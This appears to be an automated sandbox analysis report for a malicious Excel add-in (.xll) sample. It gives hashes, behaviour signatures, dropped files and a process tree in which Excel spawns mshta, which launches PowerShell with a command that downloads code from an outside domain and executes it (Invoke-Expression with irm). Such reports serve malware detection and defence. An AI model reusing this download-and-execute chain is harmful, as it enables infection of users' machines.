Analysis

  • max time kernel
    100s
  • max time network
    122s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240508-en
  • resource tags

    arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    22-05-2024 17:07

General

  • Target

    2e6dc0623a5a2e10cb10d97765b1c257d891c09e7ed1fd2a781914adb0f7e32c.xll

  • Size

    12KB

  • MD5

    a12e7e1c4648c35bde84596a46cc5c0f

  • SHA1

    de05af0701333162ce1fb2b4efa8d58ef468bac5

  • SHA256

    2e6dc0623a5a2e10cb10d97765b1c257d891c09e7ed1fd2a781914adb0f7e32c

  • SHA512

    e16d6236c44f9f2aaaaddce4a595491b372c62633ffc8f7a594a973215cbb2cfdcf583be75618b9ae8e24b53a44e991d66042b812562bf5d705fd1c3d106b315

  • SSDEEP

    192:ML29RBzDzeobchBj8JONQONhru1rEPEjr7Ahb:i29jnbcvYJOVfu1vr7Cb

Score
10/10

Malware Config

Extracted

Language
xlm4.0
Source

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 10 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\2e6dc0623a5a2e10cb10d97765b1c257d891c09e7ed1fd2a781914adb0f7e32c.xll"
    1⤵
    • Loads dropped DLL
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4552
    • C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:2376
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3048

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\0MYNE8JM\d[1].htm

    Filesize

    2KB

    MD5

    f754844cfb65838d1dd6b19dde5d835c

    SHA1

    b3eb677783adc88c8d048898449e04d49f416db6

    SHA256

    3644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6

    SHA512

    f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf

  • C:\Users\Admin\AppData\Local\Temp\2e6dc0623a5a2e10cb10d97765b1c257d891c09e7ed1fd2a781914adb0f7e32c.xll

    Filesize

    12KB

    MD5

    a12e7e1c4648c35bde84596a46cc5c0f

    SHA1

    de05af0701333162ce1fb2b4efa8d58ef468bac5

    SHA256

    2e6dc0623a5a2e10cb10d97765b1c257d891c09e7ed1fd2a781914adb0f7e32c

    SHA512

    e16d6236c44f9f2aaaaddce4a595491b372c62633ffc8f7a594a973215cbb2cfdcf583be75618b9ae8e24b53a44e991d66042b812562bf5d705fd1c3d106b315

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_atpdi1p1.kwc.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/3048-53-0x0000000006700000-0x000000000671E000-memory.dmp

    Filesize

    120KB

  • memory/3048-54-0x0000000006740000-0x000000000678C000-memory.dmp

    Filesize

    304KB

  • memory/3048-56-0x0000000006C10000-0x0000000006C2A000-memory.dmp

    Filesize

    104KB

  • memory/3048-55-0x0000000007D70000-0x00000000083EA000-memory.dmp

    Filesize

    6.5MB

  • memory/3048-52-0x0000000006250000-0x00000000065A7000-memory.dmp

    Filesize

    3.3MB

  • memory/3048-43-0x00000000061E0000-0x0000000006246000-memory.dmp

    Filesize

    408KB

  • memory/3048-42-0x0000000006070000-0x00000000060D6000-memory.dmp

    Filesize

    408KB

  • memory/3048-39-0x0000000003270000-0x00000000032A6000-memory.dmp

    Filesize

    216KB

  • memory/3048-41-0x0000000005880000-0x00000000058A2000-memory.dmp

    Filesize

    136KB

  • memory/3048-40-0x0000000005990000-0x0000000005FBA000-memory.dmp

    Filesize

    6.2MB

  • memory/4552-17-0x00007FFCD5B40000-0x00007FFCD5D49000-memory.dmp

    Filesize

    2.0MB

  • memory/4552-80-0x00007FFC95BD0000-0x00007FFC95BE0000-memory.dmp

    Filesize

    64KB

  • memory/4552-12-0x00007FFCD5B40000-0x00007FFCD5D49000-memory.dmp

    Filesize

    2.0MB

  • memory/4552-2-0x00007FFC95BD0000-0x00007FFC95BE0000-memory.dmp

    Filesize

    64KB

  • memory/4552-16-0x00007FFCD5B40000-0x00007FFCD5D49000-memory.dmp

    Filesize

    2.0MB

  • memory/4552-4-0x00007FFC95BD0000-0x00007FFC95BE0000-memory.dmp

    Filesize

    64KB

  • memory/4552-1-0x00007FFC95BD0000-0x00007FFC95BE0000-memory.dmp

    Filesize

    64KB

  • memory/4552-11-0x00007FFCD5B40000-0x00007FFCD5D49000-memory.dmp

    Filesize

    2.0MB

  • memory/4552-13-0x00007FFCD5B40000-0x00007FFCD5D49000-memory.dmp

    Filesize

    2.0MB

  • memory/4552-10-0x00007FFCD5B40000-0x00007FFCD5D49000-memory.dmp

    Filesize

    2.0MB

  • memory/4552-81-0x00007FFCD5B40000-0x00007FFCD5D49000-memory.dmp

    Filesize

    2.0MB

  • memory/4552-8-0x00007FFCD5B40000-0x00007FFCD5D49000-memory.dmp

    Filesize

    2.0MB

  • memory/4552-0-0x00007FFC95BD0000-0x00007FFC95BE0000-memory.dmp

    Filesize

    64KB

  • memory/4552-7-0x00007FFCD5B40000-0x00007FFCD5D49000-memory.dmp

    Filesize

    2.0MB

  • memory/4552-15-0x00007FFCD5B40000-0x00007FFCD5D49000-memory.dmp

    Filesize

    2.0MB

  • memory/4552-5-0x00007FFC95BD0000-0x00007FFC95BE0000-memory.dmp

    Filesize

    64KB

  • memory/4552-6-0x00007FFCD5B40000-0x00007FFCD5D49000-memory.dmp

    Filesize

    2.0MB

  • memory/4552-3-0x00007FFCD5BE3000-0x00007FFCD5BE4000-memory.dmp

    Filesize

    4KB

  • memory/4552-63-0x00007FFCD5B40000-0x00007FFCD5D49000-memory.dmp

    Filesize

    2.0MB

  • memory/4552-77-0x00007FFC95BD0000-0x00007FFC95BE0000-memory.dmp

    Filesize

    64KB

  • memory/4552-78-0x00007FFC95BD0000-0x00007FFC95BE0000-memory.dmp

    Filesize

    64KB

  • memory/4552-14-0x00007FFC93800000-0x00007FFC93810000-memory.dmp

    Filesize

    64KB

  • memory/4552-79-0x00007FFC95BD0000-0x00007FFC95BE0000-memory.dmp

    Filesize

    64KB

  • memory/4552-9-0x00007FFC93800000-0x00007FFC93810000-memory.dmp

    Filesize

    64KB